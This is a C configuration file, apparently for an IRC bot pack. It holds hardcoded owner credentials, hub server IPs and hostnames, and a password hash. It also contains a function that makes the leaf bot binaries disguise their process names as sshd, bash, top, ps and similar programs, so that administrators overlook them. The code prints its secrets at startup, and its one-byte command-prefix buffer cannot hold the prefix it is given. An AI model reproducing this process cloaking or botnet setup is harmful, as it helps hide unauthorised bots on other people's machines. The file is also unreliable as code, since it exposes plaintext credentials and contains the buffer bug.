settings.c 2.4 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #define STR(x) x
  4. extern char *degarble(int, char *);
  5. char netpass[16], thepass[33], dcc_prefix[1], owners[2048], hubs[2048];
  6. //Change everything..
  7. #define NETPASS STR("kd8e3nchasd93dk") //Just 15 random chars here..
  8. #define THEPASS STR("d166239eb0558fc14c25a0826d20286d") //this md5 hash will be used for various purposes..
  9. #define DCCPREFIX STR("!") //This is the cmd prefix for dcc, ie: .cmd could be "."
  10. //You can define an infinite ammount of hubs/owners.
  11. //All hubs must be added/defined in this, owners can be later added via partyline.
  12. //"ip/hostname" means ip OR hostname, I highly recommend setting up dns for your hubs with hostnames.
  13. /*
  14. * Give your main hub the number 1...
  15. * The order of the hubs makes no difference, but be sure to give each
  16. * bot a unique number, starting from 1 and not skipping any numbers.
  17. * See the example below for what username is.
  18. *
  19. */
  20. /* IT IS IMPERATIVE TO ADD THE TRAILING COMMA AND SLASH CORRECTLY */
  21. #define OWNERS STR("\
  22. nick pass *!u@host *!u@ip *!u@host *!u@host *!u@ip,\
  23. nick pass *!u@host -telnet!ident@host,\
  24. ")
  25. #define HUBS STR("\
  26. hubnick ip/hostname port 1 username username,\
  27. hubnick2 ip/hostname port 2 username username,\
  28. hubnick3 ip/hostname port 3 username username,\
  29. ")
  30. #undef OWNERS
  31. #undef HUBS
  32. #define OWNERS STR("bryan Pass1234 *!bryan@botpack.net *!bryan@ip68-8-80-38.sd.sd.cox.net,")
  33. #define HUBS STR("hub 66.252.27.116 9227 1 shatow,war war.botpack.net 9227 2 bryan ~war,")
  34. //these are programs the leaf binaries will spoof as
  35. char *progname() {
  36. #ifdef S_PSCLOAK
  37. switch (random() % 13) { //Total entries + 1
  38. case 0: return STR("-bash");
  39. case 1: return STR("ftp");
  40. case 2: return STR("/usr/sbin/sshd");
  41. case 3: return STR("man");
  42. case 4: return STR("pine");
  43. case 5: return STR("bash");
  44. case 6: return STR("top");
  45. case 7: return STR("last");
  46. case 8: return STR("w");
  47. case 9: return STR("ps ux");
  48. case 10: return STR("bash");
  49. case 11: return STR("./psybnc");
  50. case 12: return STR("BitchX");
  51. }
  52. #endif
  53. return "";
  54. }
  55. /* ------ DO NOT EDIT BELOW THIS LINE ------ */
  56. void init_settings() {
  57. snprintf(owners, sizeof owners, OWNERS);
  58. snprintf(hubs, sizeof hubs, HUBS);
  59. snprintf(netpass, sizeof netpass, NETPASS);
  60. snprintf(thepass, sizeof thepass, THEPASS);
  61. snprintf(dcc_prefix, sizeof dcc_prefix, DCCPREFIX);
  62. printf("netpass: %s thepass: %s\n", netpass, thepass);
  63. }